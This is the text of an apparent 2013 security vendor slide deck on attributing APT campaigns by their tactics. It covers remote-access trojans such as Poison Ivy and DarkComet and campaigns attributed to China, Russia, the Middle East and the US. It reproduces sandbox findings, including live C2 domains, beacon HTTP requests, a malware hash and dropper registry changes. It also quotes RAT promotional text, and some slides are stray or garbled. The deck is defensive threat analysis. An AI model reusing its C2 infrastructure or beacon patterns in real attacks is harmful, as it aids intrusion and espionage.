Cyber Attacks and their ADN Fingerprint

Yogi C
SE Director, Europe
Under the headlines

- 3 Minutes
- 184 Countries, 41% Rise
- Asia & East Europe (46%)
- Across Verticals
- Chinese Linkage (89%)
- 3 Emails to Compromise

Source: FireEye Advanced Threat Report, March 2013
Verizon Data Breach Investigations Report, 2013
Unique in 68% of cases – August 2013

**Unique Malware within 1 Day**

- 1 timer: 70.00%
- 2 hour: 0.00%
- 4 hour: 0.00%
- 6 hour: 0.00%
- 8 hour: 0.00%
- 10 hour: 0.00%
- 12 hour: 0.00%
- 14 hour: 0.00%
- 16 hour: 0.00%
- 18 hour: 0.00%
- 20 hour: 0.00%
- 22 hour: 0.00%
- 24 hour: 0.00%
TTP

Fingerprint
Tactics: How to get to the victim

Techniques: used vulnerability, RAT, C&C infrastructure

Procedures: Motive & objective

If it works, attacker continue using it!
RATs, RATs, Everywhere!

Spy-Net RAT

Spy-Net is a software that allow you to control any computer in world using Windows Operating System. He is back using new functions and good options to give you full control of your remote computer. Stable and fast, this software offer to you a good interface, creating a easy way to use all his functions.

When started this project, some users asked me to use better things from old Spy-Net and better things from Xtreme RAT and fix some little bugs. Now, users can control any remote computer with stability and no errors.
RATs, RATs, Everywhere!
RATs, RATs, Everywhere!

DarkComet RAT Legacy disclaimer (EULA)

1. disclaimer of warranties and indemnity

1.1 phrozensoft.com makes no warranties, conditions, undertakings or representations of any kind, either express or implied, statutory or otherwise in relation to the software including without limitation any implied warranties or conditions of merchantability, satisfactory quality, fitness for a particular purpose, non-infringement or arising from course of dealing, usage or trade. some states/jurisdictions do not allow the exclusion of implied warranties, so the above exclusion may not apply to you and you may have other legal rights that vary from state to state or by jurisdictions. without limitation to the foregoing, phrozensoft.com does not warrant that the software will meet your requirements or that the operation of the software will be error free or uninterrupted or that defects in the software will be corrected.

1.2 phrozensoft.com does not represent that you are entitled to remove any third party applications and disclaims liability for any recommendations made by phrozensoft.com, its employees and sub-contractors in connection with your use of the licensed product.

1.3 you shall fully and effectively indemnify phrozensoft.com for any claim, action, proceeding, liability or expense suffered by phrozensoft.com as a result of your use of the licensed product.

2. limitation of liability
Poison Ivy

Site/downloads up again
2008-11-20

I have received a tremendous amount of emails from people wanting me to continue the project even though it might take some time until the next release.
It's meant a lot to me to see this kind of support for the project. That's why I've decided to bring back the site, but I will not promise anything...
I hope to get some time and motivation to finish the new version.

Development
2008-03-30

The next version is well on its way (even though I haven't updated the dev.log in ages). I decided to redo most of the core code in the client and also implement language support. The new client will use less memory and be somewhat faster. The language file (english) will be uploaded, once the new version is done, for anyone to translate.

Stay tuned for more info.

New plugin: Optix Screen Capture
2008-02-04

The former EES founder, th3 sl3az3, has contributed with an excellent screen capture plugin. Hence the name it has the same style as Optix Pro (which th3 sl3az3 was the author of). Source codes are included (which requires a couple of Delphi Components, they are included as well).

Download it here!
Poison Ivy

- First released in 2005, last release 2008
- Developed by a Swedish coder named “ShapeLeSS”
- Has been part of the APT toolbox for a long time
- Has vulnerabilities of its own, but is still in use
Poison Ivy is Still Active

• Strategic compromises of CFR (2012), DoL (2013)

• Strategic web compromises by the “Sunshop” campaign (2013)

• We focused on three campaigns that have been active since ~2008: admin@338, th3bug & menuPass
Gathering Intelligence from Poison Ivy

• When analyzing a Poison Ivy attack the following attributes can be combined to form a unique fingerprint:
Gathering Intelligence from Poison Ivy

• TTP
  – Poison Ivy ID/Group
  – Mutex
  – Password
  – Command and Control Infrastructure
  – Implant name/location
  – Weaponization
  – Delivery

• We collected 194 Poison Ivy (PIVY) samples that have been used in targeted attacks

• We have attributed these samples to 3 different APT actors
APT Actors Using Poison Ivy

- These actors have been active since at least 2008
- These labels reflect the passwords commonly used by each actor

![Diagram showing password usage over years](chart.png)
Philadelphia Regional Office, quote attached. If you need anything else to present to the customer let me know. Tks JD
menuPass TTP Identifiers

• Common attributes:
  – Reuse of poison ivy passwords
  – Reuse of MFC Document class across droppers
  – Reuse of C2 infrastructure
    • Network location
    • Domain registration
World War C
Top Countries for Staging Attacks

1. US
2. Korea
3. China
4. Russia
5. Ukraine
6. Germany
7. Poland
8. Romania
9. India
10. Kazakhstan

Note: Illustrative only; Depicts example CNC server locations
“Ballistic missiles come with return addresses. But computer viruses, worms, and denial of service attacks often emanate from behind a veil of anonymity.”

- Prof. John Arquilla, Naval Postgraduate School
World Economic Situation and Prospects
Launch of Mid Year of Update 2013
Sep 23, 2013
Shamshad Akhtar
Assistant Secretary General
Department of Economic and Social Affairs (UN)

Since the release of the World Economic Situation and Prospects 2013 in January, there have been some developments. Now I would like to concentrate on three key features of the global economic outlook and conclude with three key policy messages.

Key features of the global economic

First, lingering synchronized global slowdown has been replaced by measurable improvements. US growth gained momentum and Japan grew by 3.5% in Q1 of 2013, backed by a combination of fiscal and monetary stimulus. By contrast, however, GDP in the euro area continues to contract, and emerging economies are growing at below
Email Alerts: Email Analysis (as of 08/19/13 15:08:45 CEST)

Message ID: 0df2bb9de916150510ee2b13086ae7d3@hcidhaka.org  Timeframe: Past 24 hours

Page: 1 of 1

<table>
<thead>
<tr>
<th>ID</th>
<th>Type</th>
<th>File Type</th>
<th>Malware</th>
<th>Name</th>
<th>Md5sum</th>
<th>Submitted</th>
</tr>
</thead>
<tbody>
<tr>
<td>1396767</td>
<td>Attachment</td>
<td>doc</td>
<td>Backdoor.APT.KalaChakra</td>
<td>Economic Situation and Prospects.doc</td>
<td>5da509bd411030c0400a3b0c175851688</td>
<td>08/19/13 11:43:59</td>
</tr>
</tbody>
</table>

Malware: Backdoor.APT.KalaChakra
VXE Callback: Backdoor.APT.KalaChakra
Application Type: MS Word 2003
File Type: doc
Original analyzed at: 08/19/13 10:59:40

[Malicious Behavior Observed]

Bot Communication Details:
Server DNS Name: zc.antivirusbar.org  Service Ports: 80,443

<table>
<thead>
<tr>
<th>Direction</th>
<th>Command</th>
<th>User-Agent</th>
<th>Host</th>
<th>Connection</th>
<th>Pragma</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>/windows/update/search?wl=UwBHAHAdgBBAHAIABQEMA&amp;a=MQAwAC4AMAuADAALgAaDMA&amp;e ta=L44&amp;ld=auxnsjpxkgwxvix HTTP/1.1</td>
<td>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)</td>
<td>zc.antivirusbar.org</td>
<td>Keep-Alive</td>
<td></td>
</tr>
<tr>
<td>GET</td>
<td>/windows/update/search?wl=QcBIAHMAaQBUAGUACw8eAA==&amp;a=MQAwAC4AMAuADAALgAaDMA&amp;e ta=L44&amp;ld=phqghumeayhfld HTTP/1.1</td>
<td>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)</td>
<td>zc.antivirusbar.org</td>
<td>Keep-Alive</td>
<td></td>
</tr>
</tbody>
</table>

Raw Command
?L??
???

Callback communication observed from VM: Malware: Backdoor.APT.KalaChakra
Server DNS Name: 199.16.199.2 (sandbox)  Service Port: 80

<table>
<thead>
<tr>
<th>Direction</th>
<th>Command</th>
<th>User-Agent</th>
<th>Host</th>
<th>Connection</th>
<th>Pragma</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>/windows/update/search?wl=UwBHAHAdgBBAHAIABQEMA&amp;a=MQAwAC4AMAuADAALgAaDMA&amp;e ta=L44&amp;ld=auxnsjpxkgwxvix HTTP/1.1</td>
<td>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)</td>
<td>zc.antivirusbar.org</td>
<td>Keep-Alive</td>
<td></td>
</tr>
</tbody>
</table>
Regional Activity

India – Pakistan: old rivals, new tactics
Example: Operation Hangover

Japan experiences the highest percentage of intra-country callback traffic—87 percent.
Example: Operation Beebus

North Korea – The Upstart
Example: 3/20 Attacks, DarkSeoul Gang

ASEAN – emerging economies as soft targets
CVE 2013-3906 – vulnerability in a Microsoft graphics components
CVE 2013-3906 – Window of Vulnerability
Characterized by a higher level of sophistication, and are highly effective at evading detection.

Waging high frequency, brute-force attacks against a range of targets

Leverage sophisticated tactics for deceiving users so they unwittingly enable a compromise.

Complex, sophisticated, and rigorously engineered cyber attack campaigns
Chinese Attack Playbook

**Strategy**
Overwhelm cyber defenses with quantity and quality.

**Sophistication**
Not always the most advanced or creative but in many circumstances, it is effective.

**Investment Level**
China employs brute-force attacks that are often the most inexpensive way to accomplish its objectives. But skill sets vary by groups considerably.
China’s Cyber Intentions

“Keep a low profile to hide our capability and win time.”
Some Recent Chinese Activity

Ghost Net

Operation Aurora

Night Dragon
Operation BeeBus

“"I believe this is the largest campaign we’ve seen that has been focused on drone technology," Darien Kindlund, manager of threat intelligence at California-based FireEye.

—New York Times, 21 September 2013
## Operation BeeBus

### Offense

China

### Target

Drone technology manufacturers in the aerospace and defense industry.

### Tools, Techniques and Procedures

1. Spear phishing with weaponized attachments.
2. One module collects system information.
3. Another module downloads payloads and updates.
4. The malware establishes communication with a command-and-control server, encrypts and sends its information, and then waits for instructions from the server.

### Motive

Technical specs for military technology.
Multi-Vectored Attack

1 – Email/Web with weaponized malware
2 – Backdoor DLL dropped
3 – Encrypted callback over HTTP to C&C

Timeline of attack – multiple vectors, multiple campaigns

Multi-Vector Analysis of Operation Beebus Attack

C&C Server: worldnews.alldownloads.ftpserver.biz

Install Flash Player.

update.exe
UKNOWN
install_flash_player.tmp2
Conflict-Minerals-Overview-for-KPMG.doc
Boeing_Current_Market_Outlook_{...}.pdf
Understand your blood test report.pdf
Sensor environments.doc
FY2013_Budget_Request.doc
Dept of Defense FY12 ...Boeing.pdf
April is the Cruelest Month.pdf
China.pdf
Security Predictions...2013.pdf
rundll32.exe
сообщить.doc
install_flash_player.exe
install_flash_player.tmp2
Global_A&D_outlook_2012.pdf
**Message:** Exploit capabilities detected

**API Name:** CreateFile
**Address:** 0x0324b960
**Params:** [C:\DOCUME~1\admin\LOCALS~1\Temp\cvs.exe, 1073741824, 1, 0x0, 2, 128, 0x0]
**Imagepath:** C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe  **DLL Name:** kernel32.dll

**API Name:** CreateProcessA
**Address:** 0x0324b9d1
**Params:** [C:\DOCUME~1\admin\LOCALS~1\Temp\cvs.exe, NULL, 0x0, 0x0, 0, 134217728, 0x0, NULL, 0x12d23c, 0x12d2bc]
**Imagepath:** C:\Program Files\Adobe\Reader 8.0\Reader\AcroRd32.exe  **DLL Name:** kernel32.dll

<table>
<thead>
<tr>
<th>Created</th>
<th>C:\WINDOWS\ThankU.txt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Added</td>
<td>C:\REGISTRY\MACHINE\SOFTWARE\ThankU</td>
</tr>
<tr>
<td>Delete</td>
<td>C:\WINDOWS\ThankU.txt</td>
</tr>
</tbody>
</table>
| Setval  | C:\\REGISTRY\MACHINE\SOFTWARE\ThankU\"netsvcs" = 6to4\nbsp;AppMgmt&nhsb;Browser&nbspcryp \n tSVC&nbspsDMServer&nbspdHCP&nbspsERSVc&nbspeventSystem\nbspmptibility&nbsshidSrv&nbsplas&nbspvipr&nbsplrmon&nbsplanmanServer&nbsplanbasp;Messenger&nbspsNetman&nbspnla&nbsptmssvc&nbspwcc\nbsr;NWCWorkstation&nbspnwsap&nbsprobednbspsRemoteaccess&nbspschedule&nbspselogon&nbsposens&nbspservice&nbsptapisr \n v&nbspthemes&nbsptrkWks&nbspw32Time&nbspwzsVcs&nbspwmi&nbspwinnmgmt&nbsptermS
| Service&nbspwuauser&nbspsITS&nbspsShellHWDetection&nbsphelpsvc&nbspscVc&nbspwmdmPmSN&nbspwind0ws |

Created
| C:\WINDOWS\ThankU.txt |
| Deleteval |
| \REGISTRY\MACHINE\SOFTWARE\ThankU"" |
Biggest deal in IAF.pdf – taunting the target
RUI XING CAO NI MA

From my Mandarin translator:

“Hard to tell from the phonetics, but it would be something in line with ‘Prosperity, Mother F***er!’”
Russian Attack Playbook

**Strategy**
- Emphasize stealth and evasion.
- Run many botnets.
- Financial crime more of a focus than espionage

**Sophistication**
Many of the most complex and advanced cyber attacks originate in Russia.

**Investment Level**
High level of activity from Russian Business Network (RBN), suspected overlap with government.
The Botnet Kings

**Pushdo**
- Peak spam volume 46.5%
- 1.5 – 2 million infected machines

**Grum**
- Spam levels 18% at takedown and peaked at 26%
- Infected machines 560,000 – 840,000

**MegaD**
- responsible for 32% of spam worldwide
- Botnet suspected size of 500,000
From Russia, With Love

Pushdo bot herder sent an email to FireEye after we took down his botnet.
# Red October

<table>
<thead>
<tr>
<th>Instigator</th>
<th>Russia</th>
</tr>
</thead>
<tbody>
<tr>
<td>Target</td>
<td>Diplomatic and governmental agencies of various countries across the world as well as research institutions, energy and nuclear groups, and trade and aerospace.</td>
</tr>
</tbody>
</table>

## Tools, Techniques and Procedures
1. Starts with spear phish and weaponized document.
2. Main module is Red October code to handle communications and encryption.

## Motive
Steal sensitive information and data.
Middle East Attack Playbook

**Strategy**
Rely on cyber tactics that emphasize novelty, creativity and deception.

**Sophistication**
Not very sophisticated, but leverage imaginative approaches to compensate for low tech approach.

**Investment Level**
Low with strong emphasis on volunteers.
الجيش السوري الإلكتروني
SYRIAN ELECTRONIC ARMY
تم الاختراق من قبل المحترف السوري أبو
Some Recent Middle Eastern Activity

**Saudi Aramco**
Malware attack with 30,000 PCs corrupted

**Operation MoleRat**
Malware attack using the Poison Ivy RAT, focusing on Middle Eastern targets
The Mahdi Campaign

Instigator
Middle Eastern nation, perhaps Iran

Target
Israel

Tools, Techniques and Procedures
1. “Low budget” attacks that don’t involve 0 days or elaborate designs.
2. Used malicious files to infect their victims.
3. Used imaginative elements such as games, attractive images, and custom animations to distract users from seeing malware-related warning messages.
4. Attacks were tailored, offering variations of games unique to each target organization.

Motive
Disrupt banking operations.
The actual PPS slide from the attack...

Select two-digit number then add the two digits and subtract it from the main number (example: number=52, 5+2=7, 52-7=45) search the result (45) among the pictures, then keep in your mind this pic. Look at the focal circle then click the appeared file and wait to see the selected picture....
US Attack Playbook

**Strategy**
Highly targeted attacks using hit and run methods or extremely sophisticated malware.

**Sophistication**
Paragon of over engineering.

**Investment Level**
Require a VERY high level of financial investment and technical sophistication and stand out from the crowd.

**Cyber Super Power!**
Some Recent Suspected US Activity

**Flame**
Cyber espionage malware focused on the Middle East

**Duqu**
Malware that leverages Microsoft 0 day.

**Stuxnet**
Targeted Iranian nuclear facility.
The Genie Project

**Instigator**
United States

**Target**
China, Russia, Iran and North Korea.

**Tools, Techniques and Procedures**
1. Go after Internet routers.
2. Enables monitoring, eavesdropping as well blocking communications.

Source:  http://www.wired.com/threatlevel/2013/09/nsa-router-hacking/
Thank you!